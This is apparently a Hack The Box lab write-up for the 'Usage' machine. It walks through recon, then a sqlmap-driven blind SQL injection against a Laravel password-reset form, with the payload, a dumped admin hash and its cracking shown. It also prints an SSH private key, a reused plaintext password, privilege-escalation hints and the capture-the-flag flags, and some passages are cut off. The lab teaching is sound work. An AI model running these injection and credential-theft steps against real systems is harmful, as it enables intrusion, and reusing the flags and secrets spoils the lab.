Nmap Results
# Nmap 7.94SVN scan initiated Mon Apr 15 15:17:08 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.11.18
Nmap scan report for 10.10.11.18
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 15 15:17:24 2024 -- 1 IP address (1 host up) scanned in 16.01 seconds
In the nmap
output for tcp/80
, we can see the redirect to http://usage.htb
, so let's go ahead and add that to our /etc/hosts
file.
echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
Service Enumeration
TCP/80
Walking the Application
The Admin link points to a different virtual host, so let's get that added to the /etc/hosts
file as well.
echo '10.10.11.18 admin.usage.htb' | sudo tee -a /etc/hosts
For now, let's just walk the application โ clicking around and interacting as a user would. There is a link to register an account, let's do so.
Cookie:
header that this is a Laravel serveradmin:admin
did not work on this server, nor some simple guesses. Laravel uses rate limiting by default to prevent brute force guessing of passwords, making this an infeasible attack.Gobuster Enumeration
10ms
delay between requests, but it's just too slow and obviously not the intended attack path.gobuster
in vhost
mode, but this only returned admin.usage.htb
as a valid Virtual Host, which we already know.Testing Input Points
So far, we only have the following input points:
- User Login Form
- User Registration Form
- Password Reset Form
- Admin Login Form
We should test these inputs for weaknesses such as SQL injection. a โ
I tested the password reset form with ';--
and '
and both times the server returned a HTTP 500
error. It also does not appear to be doing any checks to make sure the input is actually an email address.
Testing SQL Injection with sqlmap
Start by filling out the form with a valid value and catch the request in Burp. Then, save the contents of the request in a file (e.g. req.txt
).
req.txt
POST /forget-password HTTP/1.1
Host: usage.htb
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/forget-password
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IktHNXlRcXhzLzMvMkU2OFFjdnBjTUE9PSIsInZhbHVlIjoiOFJBbVY3QzJSNjlPYjRBV2wyYW5vYmRtTmF4QmRDMmJqanhTTnN4eEhmZFprb2dEenJ2bUw5V2hiSms2WjJFbkpvRHUzK2VPNGFxclhtZ2VXZ2QycS9MR2xmQ2YxanJWMVRPU2xuZjJ0Qi93cWVUMGRmYTVWd3QxUkFTOHA2Mm4iLCJtYWMiOiI1MTQ0NmRhM2M5OTg4ZDQ0ZGIxMjdlZWRmYjBjOGQ0OWQ4NWIwMDk1NGQ5NzQxZjMyZjRjZGE5MDRkN2Q4ZTJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhBTmZYV0pXQzJ6YjVwK3ZxbUY0akE9PSIsInZhbHVlIjoic1ZMaHcwOFI0cFp0Vjd1R2NuZjRDTmord2RMNE5GdmMrRlFYdm40WGhPVlhMcGdSd01pQ1RKblh5YUJOUmNVeFJQVlBHUE9NWktkS0tYSVJEWXJXSUpnbmdWWW9BV3VCaTg4NDdxYkV4ZnIyVjlQOGdmTlZIek5GMUNtZlZjRHEiLCJtYWMiOiI5YzFkYWEzYzA2NTYyYmRhYzU2YzdhZjY0MzdiZmU1YTQ2NDZjMmQyMjQxMWY3MjE2YzNmNTZlMzg0MmYwNDFlIiwidGFnIjoiIn0%3D
Connection: close
_token=vzo0MhF6e7BKZsFsUuU40Z1mHjrfeqytnYq1Maz2&email=test%40localhost.local
Now, we can use req.txt
to build from with sqlmap
.
sqlmap
in the collapsible box below, just so you can see my thought process.Iterative Approach to sqlmap
First Attempt
I try with -t 10
to see if the server will rate-limit me. It does not appear to.
# -r req.txt : our request file from Burp
# --batch : accept all default options at prompts
# -p email : vulnerable parameter
# --ignore-redirects : ignore any attempts by the web app to redirect us
# --dbs : enuemrate databases
# --threads 10 : number of concurrent threads
sqlmap -r req.txt --batch -p email --ignore-redirects --dbs --threads 10
This does not produce any results
Second Attempt
# --level 2 : increase the variety of attacks
# note that this is still at the default risk level of 1
sqlmap -r req.txt --batch -p email --ignore-redirects --dbs --threads 10 --level 3
This produces the following log lines:
[18:43:28] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --code=302)
[18:43:30] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
I'm going to press CTRL + C
to quit and exit out of batch mode, as this is going to run some additional tests that I don't care to run.
Using the above iterative approach to sqlmap
, we are able to fine-tune the attack to test for rate-limiting and increase the --level
and / or --risk
parameters to find a valid payload.
And now that we know the email
parameter is vulnerable to SQL injection and that the backend DBMS is likely MySQL
, we can continue to the next iteration of the attack.
sqlmap
is that it will use the log files in ~/.local/share/sqlmap
to pick up from where we left off before. So, there's no need to re-test when using our iterative approach.sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=vzo0MhF6e7BKZsFsUuU40Z1mHjrfeqytnYq1Maz2&email=test@localhost.loc' AND 6548=(SELECT (CASE WHEN (6548=6548) THEN 6548 ELSE (SELECT 2420 UNION SELECT 9441) END))-- -
---
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
And now that we have a valid database name โ usage_blog
โ we can get the tables in the blog.
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
And finally, now that we have a valid table name โ admin_users
โ we can get the columns and rows from the table and hopefully find some hashes.
# -T admin_users : table to use
# --dump : dump columns and rows form the table
# everything else is the same
sqlmap -r req.txt --batch -p email --ignore-redirects -D usage_blog -T admin_users --dump --threads 10 --threads=10 --level 2
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > hash
john --wordlist=rockyou.txt hash
Exploit
/vendor/laravel-admin/AdminLTE
URL, I found a possible exploit early on.python3 -c "import pty; pty.spawn('/bin/bash')"
to get a more stable interactive TTY.Post-Exploit Enumeration
Operating Environment
OS & Kernel
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1000(dash) gid=1000(dash) groups=1000(dash)
Sorry, user dash may not run sudo on usage.
Users and Groups
Local Users
xander:x:1001:1001::/home/xander:/bin/bash
Local Groups
xander:x:1001:
Network Configurations
Network Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:f6:37 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.18/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:f637/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:f637/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2812 0.0.0.0:* LISTEN 2684/monit
Interesting Files
/home/dash/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA3TGrilF/7YzwawPZg0LvRlkEMJSJQxCXwxT+kY93SpmpnAL0U73Y
RnNLYdwGVjYbO45FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HTOnGQ
doI30dWka5nVF0TrEDL4hSXgycsTzfZ1NitWgGgRPc3l5XDmzII3PsiTHrwfybQWjVBlql
QWKmVzdVoD6KNotcYgjxnGVDvqVOz18m0ZtFkfMbkAgUAHEHOrTAnDmLY6ueETF1Qlgy4t
iTI/l452IIDGdhMGNKxW/EhnaLaHqlGGwE93cI7+Pc/6dsogbVCEtTKfJfofBxM0XQ97Op
LLZjLuj+iTfjIc+q6MKN+Z3VdTTmjkTjVBnDqiNAB8xtu00yE3kR3qeY5AlXlz5GzGrD2X
M1gAml6w5K74HjFn/X4lxlzOZxfu54f/vkfdoL808OIc8707N3CvVnAwRfKS70VWELiqyD
7seM4zmM2kHQiPHy0drZ/wl6RQxx2dAd87AbAZvbAAAFgGobXvlqG175AAAAB3NzaC1yc2
EAAAGBAN0xq4pRf+2M8GsD2YNC70ZZBDCUiUMQl8MU/pGPd0qZqZwC9FO92EZzS2HcBlY2
GzuORbSCNQfzIECNsgja8Zf9WdSb0UkPe0/E/TPsZsS8yIRUeBxiOB0zpxkHaCN9HVpGuZ
1RdE6xAy+IUl4MnLE832dTYrVoBoET3N5eVw5syCNz7Ikx68H8m0Fo1QZapUFiplc3VaA+
ijaLXGII8ZxlQ76lTs9fJtGbRZHzG5AIFABxBzq0wJw5i2OrnhExdUJYMuLYkyP5eOdiCA
xnYTBjSsVvxIZ2i2h6pRhsBPd3CO/j3P+nbKIG1QhLUynyX6HwcTNF0PezqSy2Yy7o/ok3
4yHPqujCjfmd1XU05o5E41QZw6ojQAfMbbtNMhN5Ed6nmOQJV5c+Rsxqw9lzNYAJpesOSu
+B4xZ/1+JcZczmcX7ueH/75H3aC/NPDiHPO9Ozdwr1ZwMEXyku9FVhC4qsg+7HjOM5jNpB
0Ijx8tHa2f8JekUMcdnQHfOwGwGb2wAAAAMBAAEAAAGABhXWvVBur49gEeGiO009HfdW+S
ss945eTnymYETNKF0/4E3ogOFJMO79FO0js317lFDetA+c++IBciUzz7COUvsiXIoI4PSv
FMu7l5EaZrE25wUX5NgC6TLBlxuwDsHja9dkReK2y29tQgKDGZlJOksNbl9J6Om6vBRa0D
dSN9BgVTFcQY4BCW40q0ECE1GtGDZpkx6vmV//F28QFJZgZ0gV7AnKOERK4hted5xzlqvS
OQzjAQd2ARZIMm7HQ3vTy+tMmy3k1dAdVneXwt+2AfyPDnAVQfmCBABmJeSrgzvkUyIUOJ
ZkEZhOsYdlmhPejZoY/CWvD16Z/6II2a0JgNmHZElRUVVf8GeFVo0XqSWa589eXMb3v/M9
dIaqM9U3RV1qfe9yFdkZmdSDMhHbBAyl573brrqZ+Tt+jkx3pTgkNdikfy3Ng11N/437hs
UYz8flG2biIf4/qjgcUcWKjJjRtw1Tab48g34/LofevamNHq7b55iyxa1iJ75gz8JZAAAA
wQDN2m/GK1WOxOxawRvDDTKq4/8+niL+/lJyVp5AohmKa89iHxZQGaBb1Z/vmZ1pDCB9+D
aiGYNumxOQ8HEHh5P8MkcJpKRV9rESHiKhw8GqwHuhGUNZtIDLe60BzT6DnpOoCzEjfk9k
gHPrtLW78D2BMbCHULdLaohYgr4LWsp6xvksnHtTsN0+mTcNLZU8npesSO0osFIgVAjBA6
6blOVm/zpxsWLNx6kLi41beKuOyY9Jvk7zZfZd75w9PGRfnc4AAADBAOOzmCSzphDCsEmu
L7iNP0RHSSnB9NjfBzrZF0LIwCBWdjDvr/FnSN75LZV8sS8Sd/BnOA7JgLi7Ops2sBeqNF
SD05fc5GcPmySLO/sfMijwFYIg75dXBGBDftBlfvnZZhseNovdTkGTtFwdN+/bYWKN58pw
JSb7iUaZHy80a06BmhoyNZo4I0gDknvkfk9wHDuYNHdRnJnDuWQVfbRwnJY90KSQcAaHhM
tCDkmmKv42y/I6G+nVoCaGWJHpyLzh7QAAAMEA+K8JbG54+PQryAYqC4OuGuJaojDD4pX0
s1KWvPVHaOOVA54VG4KjRFlKnPbLzGDhYRRtgB0C/40J3gY7uNdBxheO7Rh1Msx3nsTT9v
iRSpmo2FKJ764zAUVuvOJ8FLyfC20B4uaaQp0pYRgoA5G2BxjtWnCCjvr2lnj/J3BmKcz/
b2e7L0VKD4cNk9DsAWwagAK2ZRHlQ5J60udocmNBEugyGe8ztkRh1PYCB8W1Jqkygc8kpT
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
Privilege Escalation
Lateral to Dash
ssh -i id_rsa dash@usage.htb
Interesting Files
Poking around the file system more with the SSH shell, I found some additional files that look interesting:
/var/backups/project.zip
/var/backups/mysql_backup.sql
xander
Port Forwarding
tcp/2812
was not running, so privilege escalation took a bit longer, but became much easier after a box resetfind / -name '*monit*' 2>/dev/null
/home/dash/.monitrc
/home/dash/.monit.state
/home/dash/.monit.id
/home/dash/.monit.pid
cat /home/dash/.monitrc
Lateral to Xander
If you find a working password, it's always a good idea to test for password re-use on other accounts. And in this case, the password for the monit
application just happens to be the password for the xander
account โ xander:3nc0d3d_pa$$w0rd
Using strings
to inspect the binary, we can see that one of the options invokes /usr/bin/7za
to do a recursive archiving of the /var/www/html
folder.
7za --help
on the box to learn more about the optionsFlags
User
49cc9446c529739f1a97f8c4f26c319e
Root
6434b9cab932a0eb4b64132ef8b69247